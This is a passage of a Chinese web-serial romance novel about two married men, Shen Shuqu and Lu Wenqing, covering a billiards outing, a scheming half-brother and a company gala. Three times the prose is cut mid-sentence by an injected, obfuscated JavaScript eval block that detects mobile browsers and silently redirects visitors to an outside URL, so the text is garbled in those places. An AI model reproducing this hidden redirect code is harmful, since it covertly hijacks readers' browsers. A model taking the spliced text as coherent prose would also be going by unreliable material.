他咽了下喉咙,脑袋里莫名冒出一个念头:陆闻轻不是嫌他沉闷冷淡吗?要是他们离了,不知道我能不能追一下呢? “顾二少。” 顾向平像被电打了一下,火烧屁股似的往后退了一句,“可以可以,您请,我去摆球。” 陈亦洲在杆头上擦巧克粉,笑问:“沈总,怎么开球?” “比球吧。” 齐敬不像顾向平那样脑子缺弦儿,溜达到陆闻轻旁边若有所思说:“没见过你伺候人,把人家弄伤了赔罪呢?” 陆闻轻靠在沙发上,没应声,视线一直停留在沈书渠背影上。 白衬衫规整舒束在西装裤里,掐出薄而韧的一把腰,扣子一丝不苟系到最上方,没系领带…… 陆闻轻收回视线,看见西装口袋露出的半寸深蓝,反射性想起他扯松领带蒙眼,弓弦拉满的那一刻。 “自己抽烟烫的。” “你不是最讨厌人抽烟么?没骂他?” 陆闻轻不动声色捻了捻指尖:“下次骂。” 齐敬眉梢微扬,察觉了几分不对劲,但也没有明说,聪明人之间是不需要把事情剖得太明白的。 “下次一定?” 沈书渠赢了先手权,在场除了陆闻轻是没人能赢陈亦洲的。 他没说什么承让,只是微微颔首算作回应,左手架桥,搭在绿色的台面上。 他姿势很标准,脊背挺直,两腿分开右腿向后,西装裤微微绷紧,后腰塌陷。 ——砰。 一球入袋。 银边眼镜后的双眸淡而认真,修长指骨白而嶙峋,被灯光一照几乎透明。 他上半身伏在桌面上,肩颈线条平直,将白衬衣穿出一种禁欲的感觉。 可禁欲到了极致,反而生出一种很欲的味道。 沈书渠换了个位置,正好站在垂吊灯下,侧脸弧度在光影下像是一把刚锻造好还未经过杀戮就被放进博物馆的剑,有一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133755|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很锋利的美感。 陆闻轻不由得出神。 沈书渠仿佛好像天生会很多东西,壁球打得好,射箭可以蒙眼十环,台球甚至可以赢陈亦洲。 娱乐圈残酷而势利,算计、背刺、坑害,比任何圈子都险恶。 锦盛从一个缺斤少两的草台班子变成如今业界龙头,其中多少谋算和手段无法估量。 他既能上谈判桌夺取利益,也能无声绞杀对手,脱掉西装也喝得了酒,握得了球杆。 陆闻轻想起去年夹杂在一堆邀约里的仙侠本子,他粗略翻了觉得不合适便拒了。 有那么一瞬,他突然理解了人为什么执意想看禁欲仙君跌落红尘沉溺情爱的戏码。 “认真的?”齐敬慢条斯理开口,“他看上去不太像会喜欢花时间谈恋爱的样子。” 陆闻轻捏起一片糖渍柠檬,隔了好一会,说:“会花的。” 一杆清台。 沈书渠放下球杆,在顾向平目瞪口呆的表情里朝陈亦洲微微颔首:“陈主任,承让。” 他们这圈子里还没人能跟陈亦洲说“承让”两个字,不过他不是输不起的人,笑道:“沈总客气了。” “沈总,没想到你这么厉害呐!我还以为你不会打呢。”顾向平扒拉出积分牌,将沈书渠的名字添上。 第一名是陈亦洲,第二是陆闻轻,他排在顾向平上面,第六,中间差了四个人。 “陆闻轻不怎么打,不然可以排第一,要不你们两……两个比一场?” 沈书渠还没跟他一起打过,思忖片刻:“我……” 陆闻轻:“陈主任,纵容赌博?” 沈书渠手指一紧,压下心里的失落,微笑了下:“嗯,算了。” 陈亦洲笑着把球杆放在桌上,“沈总,手还好么?” “没事,一点小伤。” 齐敬也走过来,含笑道:“带伤也能一场就碾过顾向平,沈总还是太谦虚了,以后经常来?我也想跟你比一场。” 沈书渠看似冷淡,但该有的礼数半分不少,轻而易举地融进这个圈子。 陆闻轻指尖点着膝盖,静静打量沈书渠,他身上好像有种魅力,只要是见过他的人就没有能抵抗得住的。 一向眼高于顶,不把任何人放在眼里的齐敬主动提出交换联系方式,甚至还给他拉进了小群。 陆闻轻支着头,等沈书渠加了一圈的好友,然后彬彬有礼地将手机收进了口袋。 ? 顾向平激动地在群里发了个红包,自己先摸了一把,九毛一,齐敬边嫌弃边领了十六块。 “沈总,领一下啊?看看手气。” 沈书渠点开红包,一百六十七块零九分。 顾向平:“……靠。” 这帮人没一个缺钱的,但领红包这事儿不是钱多钱少的问题,是鸿运问题,讲究一个好彩头。 沈书渠笑了笑:“我发一个,顾二少可以领一下试试。” “快发快发,这次我一定是手气王。”顾向平握着手机,指责道:“你们看看人家沈总,你们就从来不发。” 沈书渠发出红包,顾向平火速点开,这次领了一百二十三,当即转愤为喜。 “沈总,你会打牌吗?” 沈书渠微顿,点了下头:“会,怎么了?” “过几天陆闻轻生日,齐敬打算出海玩几天,还可以海钓。”顾向平边编辑朋友圈,边说:“你有时间吗?一起去?” 17.墙下春渠(七) “我……” “别我了,就这么定了。”顾向平把手机一揣,不由分说替他做了决定,甚至还回头看了一眼林锦:“哎你去吗?” 林锦立马摇头拒绝,但小心翼翼觑了一眼陆闻轻,心道这人肯定会趁机欺负沈书渠,又说:“我也可以吗?” “可以啊,船上又不少你一个房间。” “谢谢顾哥。” “哎你这小孩儿挺好玩。”顾向平一乐,见他坐的远便招招手,等人走近了勾着他肩膀往身边一带:“你一个人躲那边干嘛呢?” 林锦局促笑了下,在他身份曝光之后基本和豪门圈子绝缘了,见到他的人都会骂一句野种,没想到他们竟不嫌弃。 顾向平活像一个挟天子以令诸侯的奸臣,十分阴险地吓唬林锦:“沈总不去,你一个人要小心有人把你推下去喂鲨鱼,公海上没有监控,吃光了也没人找得到。” 林锦打了个哆嗦:“那我不去了。” 齐敬扑哧一笑,沈书渠觉得推下去喂鲨鱼吧,也挺好的。 “不乐意去就算了。”陆闻轻幽幽开口,“不勉强,生日而已,又不是明年过不了了。” 沈书渠像是被什么刺了一下,笑意有些不自然,“愿意,没有不愿意,我会去的。” 陆闻轻不动声色勾了下唇角,沈书渠怕顾向平一会再动点什么念头,起身说:“我去个卫生间。” 他一进卫生间就发现自己眼尾微红,脸也泛着略微明显的粉,脖子上不正常的滚烫,怎么看怎么像是要发情的样子。 他打开水龙头洗了把脸,等镜子里那张脸稍微恢复正常肤色了才出来,猝不及防看到斜靠在那儿的陆闻轻。 右手搭着他的西装,左手不紧不慢抛着那只价值连城的白瓷古董杯。 顾向平一行人已经走了,后面还跟着个一步三回头的林锦,沈书渠走近,犹疑片刻说:“你怎么没走?” “等你。”陆闻轻手一抛,吓了沈书渠一跳,下意识张开手去接,结果接了个空。 陆闻轻莞尔一笑,走近了把西装外套给他,等穿上了才说:“手伸出来。” 沈书渠下意识伸了包扎过的那只手,只听他说:“另一只。”又换一只手,白瓷杯稳稳落在他掌心里。 “你的战利品。” 沈书渠掌心一热,那只杯子被他体温焐热了,触手细腻舒服。 “你告诉我一声就行了,怎么亲自等。” 陆闻轻回头看了他一会,“你是不是忘了,我没有你联系方式。” 沈书渠微怔,“在群里说一下也可以,或者让林锦在这儿等我。” 陆闻轻蓦地一笑:“哦,我在群里说一声,然后所有人都知道人人都有的联系方式我这个正经的合法配偶没有,找你要在群里广播。” “……”沈书渠愣住,刚才加联系方式时唯独略过了陆闻轻,怕联系太多自己失控,却忽略了他的感受。 即便这些人不知道自己和他的婚姻关系,这个场合的任何一个人被区别对待也会很尴尬。 “对不起,是我考虑不周。”沈书渠停顿了一会,说:“你要加个好友吗?” “不要。” 沈书渠要去掏手机的手顿了顿,收回来:“那好吧。” 陆闻轻:? “……走了。” “陆闻轻。”沈书渠叫住他。 陆闻轻回过头,看他走了几步到自己跟前,“你手伸出来。” “怎么?” 沈书渠从西装口袋里掏出钢笔,一笔一划在他掌心里写下一串数字,然后将那个白瓷茶杯放在他掌心里。 “我的联系方式,还有,生日快乐,这个杯子送给你。”沈书渠顿了顿,又说:“不知道要出海,先送给你。” 陆闻轻心上一酥,莫名闪过一个念头:他这手段,真需要去搞暗恋? “你不喜欢吗?”沈书渠心里有些失落,上次的绿绒蒿胸针他不喜欢,这次以为他会喜欢,没想到还是送错。 他实在是不够了解陆闻轻,便想伸手拿回去,陆闻轻指节收拢,顺带将他的手指也握住。 “送人东西还要收回去的?” 沈书渠指尖一蜷,抽回手说:“不是,你喜欢就好。” “勉强吧,有更喜欢的,怕你舍不得送。” 沈书渠立即追问:“是什么?” “不急,明年生日再要。” 沈书渠住了几天酒店,不能当着他的面再去,只好和他一起回家。 路上陆闻轻一直在把玩那只杯子,沈书渠看过一眼,看着修长的食指与中指,只觉得被玩的是他。 两人并肩坐在后座,触手可及的温度无孔不入。 那次在车里弄完,陆闻轻咬着他耳朵喊了一声“老公”,把他叫得面红耳赤。 他挣扎要起来,陆闻轻就含着他耳朵往里吹气,时不时舔一下,说他吃饱了就要走,像个渣男。 沈书渠心火蹿升,不断捻着佛珠。 “你能不能别玩那个杯子了。” 陆闻轻指尖一停,侧头看他:“嗯?杯子也不让玩,送我的礼物还不让玩,你送干什么?” 他总不能说,我看你玩杯子很嫉妒,想变成那只杯子,想让你那只手来玩我。 沈书渠撑着头,靠向另一侧车窗,“算了,你玩吧。” - 翌日一早,沈书渠刚到公司叶缘就报丧似的朝他直冲过来。 “出事了沈总。” 沈书渠抬手按了电梯,叶缘跟进来一副想死的表情:“您弟弟来了,带着董事长的派遣来的,一早上骂了八百个人了,副总已经准备撬公司顶层栏杆去跳楼了。” 沈书渠:“谁?” “沈安,沈董事长让他来接替周总做副总,从今天开始帮您一起负责公司的业务。” 叶缘猜测不是什么帮忙,而是打算架空,当时锦盛还是个小破作坊的时候没人管,现在来是什么意思。 “他根本不懂流程,一来到就让人去联系买版权,还把尤微姐叫来丢了个名单让她去签约,拍电影又不是买大白菜,塞进篮子就是菜。” “好我知道了。” 沈书渠推开门,果不其然看到了大摇大摆坐在他位置上的沈安,两条腿岔开放在他的办公桌上跟人打电话。 “起来。” 沈安一见他来,立刻坐直身子,随即又摊回去:“哦你来了啊,怎么这么晚才上班?” “我让你起来。”沈书渠把大衣丢在衣架上,厉声喝到:“我数到三,你不起来,我让人把你从顶楼扔下去。” 沈安拍案而起,随即又笑了:“生这么大气干什么,爸让我来帮你,这是我的任命书,你过目。” “你的办公室在楼下,没事不要上楼。”沈书渠指了下门,“现在,出去。” “你……”沈安推开椅子,大摇大摆出去了。 叶缘后脚进来,看了眼沈安的背影说:“沈总,怎么办?” “让他留着,周靖这几年辛苦了,让他去度个假,带薪休假。” “那他现在真的不用跳楼了。”叶缘笑了笑,抬手看表:“十分钟后您有个会,我先出去准备。” “嗯,去吧。” 沈正兴不是一个纵容无度的人,碧林山庄那天他只想让他难堪,误打误撞让整个圈子都认识了他,他不可能无动于衷。 与其直接跟沈正兴交锋,不如拿沈安这个蠢货来当探路石,高级的手段他耍不明白也藏不住事儿。 沈正兴派他来不知道是小看自己还是单纯的警告。 无论哪一条,既然沈正兴想动他,那他也试一试动摇一下沈氏这棵大树的根基。 沈书渠提前五分钟到会议室,接过叶缘递来的资料,静静听着各部门的汇报,到年会的时候抬了下头。 “礼物规格加……”沈书渠停了顿了一下,说:“加到四百万。” 他话音一落,会议室里顿时响起一阵欢呼,沈书渠虽然严厉但该有的奖金是一分不少的,每年年会也十分隆重。 员工们虽然怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137827|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,也是真心喜欢他。 “沈总,能不能把抽奖箱子也加一点呀?”叶缘代替众人提问,“特等奖就一个,我不相信自己的运气。” 沈书渠环视一圈,在各位炯炯有神的视线下,无奈:“加成现金好不好?” 众人纷纷点头,有几个年轻的当场双手合十:“英明神武的沈总,多加一点,亿点点。” “好吧,让叶缘收集意见,下班之前报给我。”沈书渠笑了下,垂眼继续翻报表:“会议继续。” ——啪。 会议室门被人骤然推开,沈安扫了一圈:“开会不叫我啊?沈总,我这个副总没有发言权吗?” 一早上,众人已经领教过沈安的专横霸道和无能,这会儿对他推门进来纷纷存了点嫌弃,尤其和刚刚大发慈悲的沈书渠一比,更是难以入眼。 “怎么?不欢迎我来?别忘了,我是沈董事长亲自安排过来的副总,公司的决议我有权利参与。”沈安扫了一眼左侧的高管:“你有意见?” “没有,副总。” “找地方坐。”沈书渠手上动作没停,连眼神也没分一个:“不坐就出去。” 沈安窒了窒,皱眉拨开叶缘:“喂,让让。” 叶缘起身给他让了位置,到角落去拿了个椅子坐下来。 “宋一序已经进组,拍摄周期至少要六个月以上,目前陆影帝这边有十几个剧本待选,公司也有几个原创本子,不过公司不过问他的选择,还是按照老规矩送去给他看了……” 沈安打断道:“什么不过问?” 高管看了沈安一眼,又去求助沈书渠。 “这是我的决定。” “我不同意,他一个艺人凭什么不听公司的?”沈安往椅子上一靠,意有所指道:“大哥,你对他太偏心了吧?” 沈书渠神色一冷,不等他说话沈安又说:“不是要办年会吗?陆闻轻来吗?他不会自由到连年会也不来吧?” 沈书渠放下钢笔,静静看着他:“你想干什么?” “我想,今年的年会让我来办。”沈安双手交叉,靠近沈书渠:“大哥,你会同意的,对吧?” - 陆闻轻上午有个试妆,化完妆看着掌心残留的墨迹忍不住笑了下。 尤微在一边翻白眼:“彩票号码啊?” “差不多。”陆闻轻一个个输入进去,点了好友申请。 尤微接了个电话,接着站直身子:“年会?陆闻轻一向都不去的,为什么今年突然让他去了?沈总的意思?” 陆闻轻抬起头,朝她招手。 尤微把手机递给他,陆闻轻接过来就听见沈安说:“当然是他的意思啊,陆闻轻也是公司艺人,当然要参加。” 陆闻轻:“我要是不去呢。” 沈安听是他的声音顿时卡了一下,随即笑起来:“年会有个开场舞,他准备让你跟他一起跳。” 陆闻轻眉梢一抬,指尖在桌上不紧不慢敲,“沈总这么霸道?我要是执意不去呢。” 沈安往办公室里那道清冷身影看了眼,装清高是吧,我非要你在陆闻轻面前暴露你最下贱的一面。 如果他知道这个冷淡的皮囊下裹着一个有性瘾的身体,他还会留在这儿吗?没有陆闻轻,锦盛就是一个扶不上墙的烂泥。 等着吧,再让你得意几天,年会就是你的死期。 “陆影帝,他说你要是不去的话就别怪他给你穿小鞋了,以后你的代言跟你的戏约都会分给别人,他让你不要不识好歹,他能捧红你也能摔死你。” 陆闻轻指尖动作一停,尤微显然也是听见了,顿时皱起眉:“沈总怎么……?” 陆闻轻抬手打断她的话,慢条斯理说:“看来我为了不被封杀,是非去陪他跳这个舞不可了?” 沈安叹了口气,说:“我知道你为难,但我大哥就是这个说一不二专制跋扈的脾气,我作为副总,您太太那边我会送一份礼物给他致歉的,您委屈了。” “既然这样,我先替我太太谢谢你,沈副总。” 18.墙下春渠(八) 陆闻轻挂掉电话,尤微立即给了湉湉个眼神,让她去门口守着。 “怎么回事?沈总为什么突然让你去年会?” “一个年会,又不是鸿门宴,你怕什么。” 沈书渠怎么还没给他回消息,他这么忙? “你觉得这是一个年会的问题?当时结婚的时候沈总说不会干涉你的一切工作,也不会要求你做不喜欢做的事,他现在突然说这个等同毁约吧?” 尤微见他盯着手机一言不发,皱眉道:“你别不放在心上,如果下一步是要求你公开呢?你不打算解约了?” 陆闻轻把手机往桌上一放,说:“解。” “你还想解约就不要找麻烦,如果你们俩关系曝光的话后续怎么办,无论是你有新恋情还是工作,都会有人多人盯着这段关系。” 尤微拿过手机,思忖片刻:“我给沈总打个电话,把年会推了?” “不推,看看他想干什么。” 陆闻轻一向能把人心玩透,不动声色把人阴死还能让对方给自己磕头道谢,但沈书渠让他感觉很奇怪。 每个人做事都有一套行为逻辑,包括偏好、目的性,以及思维客观规律。 沈书渠这个人身上充满悖论,他戴佛珠,但并不仁慈,很多时候更像雾里看花。 “你去帮我查查沈安,沈书渠同父异母的弟弟。” 尤微有些担忧,他们的婚姻进行了这么多年都相安无事,万一在离婚前夕被爆出来那影响是巨大的。 当时不应该让他去沈书渠那里住的。 “你老实说,你跟沈总现在是什么情况?” 陆闻轻亮起手机,微微晃了晃:“刚加上微信,你觉得是什么情况?” 沈书渠:有事? “……”好吧,还是那个冷淡的沈总。 湉湉探头进来,提醒说:“陆哥,那边提醒要拍了。” 陆闻轻起身走出几步,停顿了下说:“顺便也查查沈书渠,看看他身边有什么走得比较近的人,男的女的都查查,重点查查已婚的。” 尤微:? 陆闻轻走到门口顺手把手机抛给湉湉,说:“一会帮我拍张照。” 沈书渠开完会出来才看到陆闻轻的好友申请,点了同意他却迟迟没说话,犹疑一会发了条消息问他是不是有事。 他又不回了。 他翻了下日历,记起他今天有个试妆,便让人送了茶果点心犒劳一下剧组。 不多时,陆闻轻的消息就来了,三张妆容和造型略有不同的照片。 陆闻轻:看看。 沈书渠从文件里抽出空,指尖微顿,回复:看什么? 陆闻轻:刚才试了几个妆,剧组选不出要放哪一张出去做宣传,你来帮他们挑一个。 第一张裸着上半身,头发凌乱唇角有血迹,双手被铁链紧紧缚住,很容易让人联想到战损场面。 第二张偏居家,柔软的米色开衫搭配灰色西装裤,悠闲坐在沙发里看书,像是被惊动了微微抬眸看向来人,眼底有着几乎要溺毙人的微笑。 第三张让沈书渠心跳咯噔了一下,他穿着套黑色赛车服,双手包裹在皮手套中,微微偏头看向远方。 沈书渠:我来选? 陆闻轻:嗯,挑一个你最喜欢的。 沈书渠眼神在你最喜欢几个字上停留片刻,说:第二张吧。 陆闻轻这次发了一条语音来,嗓音里带着似有若无的笑意:喜欢第二个那样的?好,我知道了。 沈书渠耳朵微麻,把这条语音点了收藏。 年会当天。 沈书渠抽空到了现场。 往年的年会都是在平洲最好的酒店包一整层,这样既能保证安全也能让员工们玩儿的开心。 今年沈安破例选了个中等的酒店,还先斩后奏把年会时间地点放了出去。 整个酒店外面围满了媒体和狗仔以及乌泱泱举着灯牌手幅的粉丝。 重新设计过的大厅奢靡豪华,现金盒与奢侈品堆成小山,到处都透着股纸醉金迷的味道。 沈安正端着酒杯跟人攀谈,看上去非常开心,见沈书渠来立刻抬手:“大哥,这儿。” 沈书渠冷着脸扫了一眼,叫来叶缘:“立刻找人把门口那些媒体弄走,粉丝想办法疏散了,出事故谁负责。” 叶缘:“好,我马上安排。” “等等。” 叶缘又回来,沈书渠皱了皱眉,“算了没事,你去吧。” “大哥,心情不好啊?”沈安端了一杯酒来,笑意盈盈地坐在他旁边:“我给你准备了一个惊喜,保证你会喜欢。” 沈书渠冷冷道:“你准备去死?” 沈安被他刺得脸色一变,又强行忍住了:“你说话真的很难听,不过我希望今天晚上你的嘴可以一直这么厉害。” 沈书渠没理他。 年会有固定流程,沈安加了一些突发奇想,但也不至于能搞糟。 宋一序请了一晚上假,特地从剧组跑回来,认认真真给沈书渠敬酒:“沈总,我最近拍戏可认真了,导演夸我了嘿嘿,也夸您了。” “……”沈书渠看他一脸风尘仆仆,也有些好笑:“夸我干什么?” “夸您眼光好,挑中我这个宝。”宋一序一口气喝干酒,小声说:“以后我保证听您的话,不会再有那种事了。” “哪种事?” 宋一序明白他是什么意思,立刻改了口:“没事没事。” 敬酒的人多,沈书渠以往也都意思意思喝几杯,但不知怎么今天来敬的人尤其多,活像是约好了来灌他。 主持人开场白之后,沈书渠作为总裁上台致辞。 “锦盛从一个不足十人的公司能走到今天,离不开每一个部门的努力与协作,无论是台前艺人还是幕后的工作人员,感谢每一位留下、加入的同事,我谨代表公司,祝大家身体健康,来年心想事成,谢谢。” 掌声雷动,沈书渠微微欠身下台,扫了眼认真干饭和翘首以盼等着抽奖的员工们,又看了眼沈安。 主持人开始安排摸抽奖箱。 沈书渠身边放了一盆水仙,气味清淡好闻,只是沈安很碍眼。 “大哥,你不想问问惊喜是什么吗?” 沈书渠淡淡道:“你从我眼前消失我就会开心。” “今年的开场舞,将由我们沈总和一位神秘嘉宾开跳,这位嘉宾就是……”主持人适时停顿一下,接着一转身:“陆闻轻陆老师!” 沈书渠倏地抬头。 会场里静了足足一分钟,直到陆闻轻走上台,沈书渠才明白过来沈安说的惊喜是什么。 他咬了咬牙,转过头:“沈安,你想作死我可以成全你。” “大哥,喜欢我送给你的礼物吗?”沈安一摊手,无辜道:“你跟他抱在一起的机会可不多,我为你考虑,你怎么不识好歹呢。” “让我们请沈总上台。” 沈书渠在万众瞩目中站起身,扣上西装扣的同时警告沈安:“我下来之前,你从会场滚出去。” 全场灯光熄灭,又缓缓亮起舞台的一束。 陆闻轻摊开手,邀请他共舞。 沈书渠轻吸了口气把手放上去,腰后立刻一紧,呼吸也瞬间拉近。 他几乎能感觉到喷薄在颈边的温热,揽住他的那只手像一条滚烫的藤蔓,不断缩减他的生存空间。 沈书渠嗓子发干,刚才喝下去的酒仿佛在一瞬间发酵成功,亟欲喷发的气体冲撞脑袋,带来醺热的醉意。 酒气似乎唤醒了他体内的欲望,让他不自觉地想要往陆闻轻怀里依偎,理智如溺水般渐渐下沉。 沈书渠微微咬了下舌尖作为冷静,忽然感觉陆闻轻拇指下压,在他那串佛珠上捻了一下:“为什么戴这个?” 他说话离得很近,呼吸几乎是贴着耳朵送进来的,沈书渠蓦地打了个哆嗦,腿几乎软了。 “……没有为什么,随便戴的。” 陆闻轻发现他视线闪躲但并没有拆穿,手掌在他腰上揉了一下:“沈总,你腰绷这么紧干什么,怕我占你便宜?” 沈书渠差点儿溢出一丝呻吟,脚下一绊但好在被陆闻轻搂住腰带了一步,搭在他肩上的那只手也改成了攥。 “你别……”沈书渠一开口就被声音里的缠绵沙哑吓了一跳,停顿了几秒又接上:“别碰我腰。” “怕痒?” 沈书渠忍住想拨开他手的冲动,说:“嗯,你松一点。” “沈安告诉我,是你叫我来的。”陆闻轻松松揽着他的腰,低头和他耳语,“他说我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146015|163684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来你就撤掉我所有的代言和戏约。” 沈书渠一脚踩在陆闻轻鞋尖上,下意识去看沈安,又被陆闻轻带着转了个方向。 “不听你的话就给我穿小鞋,有这事儿吗?” 沈书渠皱眉:“当然没有,我说过不会干涉你就不会食言,以后你不用听他的话,他只是个副总,没有权利替公司做决定,锦盛没有人可以命令你。” “其实也可以有。” 沈书渠没听清,抬起头时正好撞入陆闻轻幽深的眸子里,“沈书渠,你当时为什么跟我结婚?” “我说过……” “宋一序被人下药,你从酒店里把他拖出来冷了三个月,吓得要喊你爹求你原谅,给他下药的人现在见你就绕着走。” 陆闻轻以往没深究那个理由,一是他确实需要个已婚的身份,二来他没有喜欢的人也懒得多想。 现在回想,到处都是漏洞。 “沈书渠,你为什么跟我结婚?” 沈安好整以暇坐在台下,从小他就知道沈书渠只是沈家一条可以随意虐打的狗,后来才发现其实他是一支藕芽。 无论怎样被踹进泥里他都能从里面挣扎着长出叶片,仿佛永远也弄不死折不断。 几年前他从国外回来,要以继承权换这个即将被并成集团广告部的小作坊。 那天是他头一次主动给沈正兴下跪。 沈正兴很意外,居然就把这公司随手给他了,那时候他就察觉,沈书渠想要哄谁开心是很容易的。 陆闻轻是个摇钱树,只要他在,沈书渠就永远有傲骨。 一舞结束。 主持人上台推流程,沈书渠后背几乎湿透了,好在沈安竟然真的滚了。 陆闻轻首次前来,自然有人围过来敬酒。 沈书渠看着缓缓荡漾的红酒,想起第一次喝,是被陆闻轻捏着下巴灌了一小口。 他喝不惯下意识皱眉要躲,又被陆闻轻吻上来。 沈书渠是没必要再年会上留全程的,但今晚沈安在,还把陆闻轻叫过来了。 他怕会有意外,找了个间隙出去给叶缘打电话交代:“找人看看沈安去哪儿了,再问问湉湉陆影帝打算什么时候走,派人送。” 叶缘:“沈总,你不舒服?” “没事,你去帮我开间房,别声张。” 沈书渠酒量不算低,要命的是陆闻轻,被他揉过的腰和握过的手都软得提不起劲儿。 他撑着水池洗了把脸,用力晃了晃昏沉的头,用力扯开领带低声喘着气,骨骼里往外不断冒热气,蚀骨的痒意像是有无数只虫子在爬。 瘾症像一个不断蛊惑的妖精,时不时就要出来作乱。 他深吸了口气戴上眼镜,出卫生间接过房卡上了楼。 陆闻轻接完尤微电话回来就找不到人了,问了叶缘才知道他不舒服上楼休息了。 “哪间房?” 叶缘犹豫:“可是……” “什么可是,你还不了解沈书渠?他视公司如命,除非待不下去否则不会中途走,真出了事后果你负得了?” 叶缘被他吓住了,乖乖说了房间号:“我跟您一起去?” “不用了,你看着这里。”陆闻轻顿了顿,回头看了眼沈安:“派人盯着沈安,有事给沈书渠打电话。” 叶缘:怎么一个两个都要盯着沈安? 今晚陆闻轻本可以不来,沈安骗人的伎俩实在不怎么样,以沈书渠那个性子不装不认识他就是好的,怎么可能用代言威胁他一起跳舞。 不知道是单纯的蠢还是另有企图,无论哪一条,他的目的应该都是沈书渠。 玩心眼儿他不担心沈书渠吃亏,沈安玩不过他,但还是以防万一。 陆闻轻上楼敲门没人应,给他打了三个电话也没人接,当即叫湉湉把房卡送上来。 房间里亮如白昼,一进门就有个西装掉在地上,浴室里哗啦啦的水声连绵不绝,这会儿洗什么澡? 陆闻轻敲了敲门,发现没锁。 “沈书渠,你……” 他眸子一缩,怔住了。 没有一丝热气的浴室里,沈书渠衬衫半敞脸颊绯红,紧闭着眼躺在浴缸里,银边眼镜溅满水珠。 他没脱衣服,从袜子到西裤都完完整整穿在身上。 19.墙下春渠(九) 陆闻轻喉咙收紧,在心里思考了几秒钟是应该绅士地关门出去还是把他叫醒。 他喝了酒,泡澡很不安全。 “沈书渠。” 他叫了一声没人应,走近两步才发现这浴室里还开着排风扇,一股冷气从出风口窜进来。 陆闻轻蹲下身拍拍他的脸,被滚烫的温度吓了一跳,反手一试浴缸,里面竟然全是刺骨的凉水! “疯了?”陆闻轻当即把人从浴缸里捞出来,全然不顾自己身上还穿着那套全球独一份的纯手工西装,就那么把湿漉漉的沈书渠抱起来。 他衬衫质料很好,被水一泡几乎透明的覆盖在单薄但有薄肌线条的胸口上,稚嫩樱果透出若隐若现的颜色。 “……” 陆闻轻喉结滚了两下,扒干净的一瞬间他血液几乎冻住,沈书渠身上全是疤。 从肩膀到整个后背,纵横交错的伤口反复叠加,愈合极差的增生组织形成道道凸起凹陷的疤痕。 大部分像鞭子,有些像撕裂伤,还有一些像是烫伤。 他哪儿来的这么多伤?谁打的?沈安? 一阵窒息般的心疼席卷而来,陆闻轻扯过大毛巾从头到脚包上带出浴室,踹开房门把人放在了床上。 沈书渠眼皮和脸颊烧得通红,就连脖子也泛着不正常的粉,漆黑的头发湿漉漉黏在额头眼尾,有一种莫名的脆弱感。 陆闻轻用手拍了拍他脸没把人叫醒,坐在床边给湉湉打电话:“送个体温计跟退烧药上来。” 挂掉电话,陆闻轻把手机丢在床上,看着毫无知觉的男人伸手摘掉他的眼镜,高挺鼻梁上有很浅的痕迹,眼皮薄的能看见血管。 灯光下,他皮肤薄得几乎透明。 喉结上那一粒小痣红得像血,陆闻轻鬼使神差伸出手,就在他即将碰到的时候门铃响了。 陆闻轻收回手,起身去开门。 湉湉抱着一个巨大的药箱回来,手上还拎了两份晚餐,担忧地往里探头:“沈总没事吧?需要叫医生吗?” “不用,你先回去,交代叶缘别让人知道我跟沈书渠在这儿,有人问起就让她说我已经走了。” 湉湉点头:“我知道怎么做,沈总真的没事吗?我能不能进去看看他?” “不能,明天早上拿一套我的衣服过来。”陆闻轻拿过药箱,当着她面儿把门关了。 沈书渠这会儿一丝/不挂,开什么玩笑。 陆闻轻用温枪在沈书渠耳后试了一下,看着四十度差点儿没背过气去,端了杯温水回来放桌上,拍拍他脸把人叫醒吃药。 沈书渠皱皱眉,猫似的哼哼几声才迷迷糊糊睁开眼,没戴眼镜本能地眯着眼看人,眼珠子迷蒙湿漉,睁了两下又要闭上。 “起来吃药。”陆闻轻把人从床上抱起来,一只手从他伸手揽着,拆了两粒药放掌心里:“张嘴。” 沈书渠看着药片,凑过去用鼻尖嗅了嗅:“不要。” 陆闻轻心跳微妙地麻了一下,完全没想到高贵冷艳的沈书渠竟有这么可爱的一面,不由得笑道:“沈总,这么大人了还嫌药苦?” 沈书渠闷声抗议,在他脖子边蹭了两下又要睡过去,陆闻轻捏住他下颌转回来,“不吃药没法退烧,听话,张嘴。” 沈书渠像是被人按中了什么开关,睫毛微微颤了颤,凑近含住两颗药。 陆闻轻再要去给他喂水的时候,他已经咽下去了,还张嘴给他看看,烧红的口腔里舌头又红又软。 陆闻轻血气翻涌,给他喂了点水又把人塞回被子里,起身去卫生间端了盆水回来给他物理降温。 回来时,沈书渠已经把被子掀了,修长身体白中泛粉,很轻很难受地蹭着床单,发出很绵软的气声。 